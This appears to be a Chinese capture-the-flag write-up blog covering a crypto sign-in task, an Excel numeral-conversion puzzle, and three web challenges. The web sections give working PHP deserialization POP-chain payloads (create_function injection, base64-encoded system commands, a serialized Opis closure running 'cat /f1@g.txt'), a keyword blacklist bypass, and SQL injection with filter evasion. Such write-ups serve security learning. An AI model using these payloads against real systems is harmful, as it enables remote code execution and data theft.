crypto-签到
题目
1 | #!/usr/bin/env python |
解题脚本
1 | from sympy.ntheory import discrete_log |
misc-Girlfriend’s account
解题过程
1 | =SUM(ISNUMBER(SEARCH(TEXT({1,2,3,4,5,6,7,8,9},"[dbnum2]"&{"0亿";"0仟!*万";"0佰!*万";"0拾!*万";"0万";"万!*0仟";"万!*0佰";"万!*0拾";"0元";"0角";"0分"}),IF(ISERR(FIND("万",A2)),"万",)&A2))*{1,2,3,4,5,6,7,8,9}*10^{8;7;6;5;4;3;2;1;0;-1;-2}) |
1 | =IF(B2="壹",1,IF(B2="贰",2,IF(B2="叁",3,IF(B2="肆",4,IF(B2="伍",5,IF(B2="陆",6,IF(B2="柒",7,IF(B2="捌",8,IF(B2="玖",9,IF(B2="零",0)))))))))) |
web-hellounser
考点
反序列化(pop链构造)
preg_match绕过
前置知识
魔术方法
1 | __invoke 当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。 |
解题过程
打开
1 |
|
分析
构造利用链
比较简单
1 | # $aaa();->A::__invoke() ->A::show() -> B::__toString ->B::show() |
通过$aaa();调用触发 A::__invoke(),A::__invoke()会触发A::show(),A::show()中有个echo输出,会触发B::__toString,B::__toString会触发B::show();
接下来就是绕过。
getflag
1 | if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { |
利用点 $func('', $this->arg);
,根据Code Breaking 挑战赛 Writeup。构造出
1 | create_function('','return 123;}phpinfo();//) |
当$func 为create_function
,$this->arg为 return 123;}phpinfo();//)
的时候,就会执行到phpinfo();
上面只是构造了利用,这里还需要绕过两个条件。
1 | preg_match('/^[a-z0-9]*$/isD', $this->func) |
第一个正则对传入的字符串进行了首位必须是字母数字的匹配,直接用wp中给出的 \
绕过。
第二个正则过滤了很多的关键字,但是没有过滤base64_decode,system等函数,这里直接用base64_decode+system
绕过,但是需要注意的 ,这个正则中过滤了=
,有时候进行base64编码的时候,会遇到末尾有=的情况,这种情况可以换成其他函数进行编码。构造如下payload
1 | $func="\create_function"; |
序列化构造payload
1 |
|
得到
1 | O:1:"A":1:{s:3:"var";O:1:"B":2:{s:4:"func";s:16:"\create_function";s:3:"arg";s:46:"return 111;}system(base64_decode(d2hvYW1p));//";}} |
提交
成功执行
payload
1 | Y2F0IGZsYWcucGhw // cat flag.php |
这里还需要查看 Tru3flag.php
文件,这里会存在一个小小的问题
1 | cat Tru3flag.php 进行base64编码后得到 Y2F0IFRydTNmbGFnLnBocA== |
1 | O:1:"A":1:{s:3:"var";O:1:"B":2:{s:4:"func";s:16:"\create_function";s:3:"arg";s:66:"return 111;}system(base64_decode(Y2F0JHtJRlN9VHJ1M2ZsYWcucGhw));//";}} |
web-xxc
考点
源码泄露
反序列化(多个文件的pop链构造)
前言
这道题对于我来说还算是比较难,在网上找到一位师傅写的wp,只能到执行phpinfo
,不能拿到flag,目前这道题的wp还没有师傅公布出来,做这道题对于构造pop链有一定提升,所以照着这位大佬的wp复现。
wp 地址
https://blog.csdn.net/weixin_43610673/article/details/120496058
前置知识
魔术方法
1 | __destruct 该函数会在类的一个对象被删除时自动调用。 |
复现过程
这道题通过扫目录,扫到了源码,直接在本地搭建复现。
目录结构
因为文件太多,直接就贴关键地方截图了。
利用点
目前只发现一个利用点,这个利用点位与 class\Method\Func\GenerateFile.php
文件,GenerateFile的myGen方法中call_user_fun
函数 ,这个利用点的$length并不可控,这也就是为什么只能执行 phpinfo()
的原因,因为不能控制参数。
pop链构造
class\Control\State\StopHook.php
序列化入口,class\Control\State\StopHook.php
,
当序列化StopHook类的时候,会自动调用__destruct
方法,在__destruct
方法中又会调用_exit
,这里的_exit
方法中的 $process->stop()
能够触发 class\Faker\MyGenerator.php
中MyGenerator
的__call
方法。
class\Faker\MyGenerator.php
__call
方法中的echo $this->defaultCall
能够触发class\Method\Func\GetFile.php
中的GetFile
类的__toString
方法,__toString
中会调用getFiles
方法,而getFiles
方法中的 $this->flag->{$this->value}
能够触发class\Method\Func\GetDefault.php
中的__isset
方法。
class\Method\Func\GetFile.php
class\Method\Func\GetDefault.php
class\Method\Func\GetDefault.php
中的__isset
方法会调用popup
方法,popup
方法中的 return $s($length)
,可以触发class\Method\Func\GenerateFile.php
中的__invoke
方法,而__invoke
方法又会调用 myGen
,通过控制$this->source->generate
来执行phpinfo
。
class\Method\Func\GenerateFile.php
链条
1 | StopHook::__destruct->StopHook::_exit->MyGenerator::__call->GetFile::__toString->GetFile::getFiles->GetDefault::__isset->GetDefault::popup->GenerateFile::__invoke->GenerateFile::myGen->利用点call_user_func |
1 |
|
得到
1 | TzoyMjoiQ29udHJvbFxTdGF0ZVxTdG9wSG9vayI6Mzp7czo5OiIAKgBvdXRwdXQiO047czo5OiIAKgBjb25maWciO2E6MTp7czo0OiJhdXRvIjtpOjA7fXM6MTI6IgAqAHByb2Nlc3NlcyI7YToxOntpOjA7TzoxNzoiRmFrZXJcTXlHZW5lcmF0b3IiOjE6e3M6MTU6IgAqAGRlZmF1bHRWYWx1ZSI7TzoxOToiTWV0aG9kXEZ1bmNcR2V0RmlsZSI6Mzp7czoyNToiAE1ldGhvZFxGdW5jXEdldEZpbGUAZmxhZyI7TzoyMjoiTWV0aG9kXEZ1bmNcR2V0RGVmYXVsdCI6MTp7czozMDoiAE1ldGhvZFxGdW5jXEdldERlZmF1bHQAc291cmNlIjtPOjI0OiJNZXRob2RcRnVuY1xHZW5lcmF0ZUZpbGUiOjM6e3M6NDoiZmxhZyI7czo2OiJteVRlc3QiO3M6OToiACoAYnVmZmVyIjtOO3M6Njoic291cmNlIjtPOjg6InN0ZENsYXNzIjoxOntzOjg6ImdlbmVyYXRlIjtzOjc6InBocGluZm8iO319fXM6MjY6IgBNZXRob2RcRnVuY1xHZXRGaWxlAGZpbGVzIjthOjA6e31zOjU6InZhbHVlIjtzOjQ6InRlc3QiO319fX0 |
执行
小结
没成功拿到flag,也学到了不少,也是头一次构造这么复杂的pop链。还是太菜了。
拿flag的解法
前言
上次做到只能执行phpinfo,就有点不甘心,为什么别人就能getshell,我就不能。经过这几天在群里咨询一些师傅,一个师傅(Object师傅)给了我一条博客链接2021 第二届 “祥云杯” 网络安全大赛 WEB WriteUp,里面是祥云杯的ezyii
题wp,不过题目内容大致差不多,有一个点基本一样,就是用call_user_func($this->source->generate,$length);
,只能控制$this->source->generate
,而不能控制$length
。这里到底要怎么才能利用呢?答案是回调函数。但是知道答案后,并没有第一时间做出来,我把$this->source->generate
赋值为function (){system('phpinfo();');}
,然后进行反序列化的时候,没有了回显,这里一直卡了我很久。
直到看到 Opis Closure
If you ever used closures then you probably know that closures are not serializable. Trying to serialize a closure will result into an exception:
如果您曾经使用过闭包,那么您可能知道闭包是不可序列化的。尝试序列化闭包将导致异常:
意思就是以function (){system('phpinfo();');}
的方式进行序列化,会失败。
1 | use Opis\Closure\SerializableClosure; |
里面给出了序列化闭包的方式,但当我按照里面的方式去使用的时候,发现还是没有回显。
直到今早 ,又重新看了这篇博客祥云杯2021 ezyii的反序列化pop链分析,这篇描述得更详细些。得到。
1 | final class PumpStream{ |
里面对$a = function(){phpinfo();};
进行了如下三个步骤,序列化闭包,反序列化,赋值给$this->source
。当我按照这样的方式去构造时,我又遇到了没有回显的问题,为此,我还特地弄了个xdebug调试,调试到$a = \Opis\Closure\serialize($a);
就结束了。为什么会这样呢?经过对比两份payload
,我发现,人家都引入了include("closure/autoload.php");
,这个文件,这也是解决问题的关键所在,这个就是\Opis\Closure\serialize
的环境。
接下来直接贴payload。
拿flag payload
1 |
|
1 | TzoyMjoiQ29udHJvbFxTdGF0ZVxTdG9wSG9vayI6Mzp7czo5OiIAKgBvdXRwdXQiO047czo5OiIAKgBjb25maWciO2E6MTp7czo0OiJhdXRvIjtpOjA7fXM6MTI6IgAqAHByb2Nlc3NlcyI7YToxOntpOjA7TzoxNzoiRmFrZXJcTXlHZW5lcmF0b3IiOjE6e3M6MTU6IgAqAGRlZmF1bHRWYWx1ZSI7TzoxOToiTWV0aG9kXEZ1bmNcR2V0RmlsZSI6Mzp7czoyNToiAE1ldGhvZFxGdW5jXEdldEZpbGUAZmxhZyI7TzoyMjoiTWV0aG9kXEZ1bmNcR2V0RGVmYXVsdCI6MTp7czozMDoiAE1ldGhvZFxGdW5jXEdldERlZmF1bHQAc291cmNlIjtPOjI0OiJNZXRob2RcRnVuY1xHZW5lcmF0ZUZpbGUiOjM6e3M6NDoiZmxhZyI7czo2OiJteVRlc3QiO3M6OToiACoAYnVmZmVyIjtOO3M6Njoic291cmNlIjtPOjg6InN0ZENsYXNzIjoxOntzOjg6ImdlbmVyYXRlIjtDOjMyOiJPcGlzXENsb3N1cmVcU2VyaWFsaXphYmxlQ2xvc3VyZSI6MTkxOnthOjU6e3M6MzoidXNlIjthOjA6e31zOjg6ImZ1bmN0aW9uIjtzOjM4OiJmdW5jdGlvbiAoKXtcc3lzdGVtKCdjYXQgL2YxQGcudHh0Jyk7fSI7czo1OiJzY29wZSI7czoyNDoiTWV0aG9kXEZ1bmNcR2VuZXJhdGVGaWxlIjtzOjQ6InRoaXMiO047czo0OiJzZWxmIjtzOjMyOiIwMDAwMDAwMDAyZjEwODQ3MDAwMDAwMDA3YWMzZTgwYiI7fX19fX1zOjI2OiIATWV0aG9kXEZ1bmNcR2V0RmlsZQBmaWxlcyI7YTowOnt9czo1OiJ2YWx1ZSI7czo0OiJ0ZXN0Ijt9fX19 |
总结
这道题做了很长时间,挺耽误时间的,经常是看着屏幕,一点思路都没有。但是反过来说,下次再遇到这个题,我还是只能执行phpinfo
,会很不甘心。
web-ctfmanage
解题过程
sql注入
检测注入方式
1 | a=1 uniunionon selselectect 1,2,3#&b=1 |
获取数据库表
1 | 1 Union Select 1,2,database();# |
获取表名
1 | 1 Union Select 1,2,group_concat(table_name) From mysql.innodb_table_stats Where database_name = database();# |
无列名注入获取值
1 | 1 Union Select * From ilikectf;# |
代码审计
打开gg.php
1 | if(base64_encode(hex2bin(strrev(bin2hex($_GET['sy']))))===$secret) |
看到第一个条件可能会愣住,不过不影响,在登录页面看源代码的时候得到。
1 | hjZX1pcnVmdmRzZWZ/bGlg== |
1 | echo hex2bin(strrev(bin2hex(base64_decode("hjZX1pcnVmdmRzZWZ/bGlg==")))); |
得到
1 | ilovectfverymuch |
绕过
1 | if($_POST['ha']!==$_POST['lo']&&md5($_POST['ha'])===md5($_POST['lo'])) |
POST:
1 | ha[]=a&lo[]=b |
获取flag
小结
这道题的难点我觉得主要是在注入点检测、和无列名获取值的payload构造,并不是那种常规思路,我也不知道为什么通过Union Select 或ununionion selselectect
这样能够检测出来,看不到源码。不过可以通过FUZZ,但我不太熟,而且也没有字典,是时候收集一波了。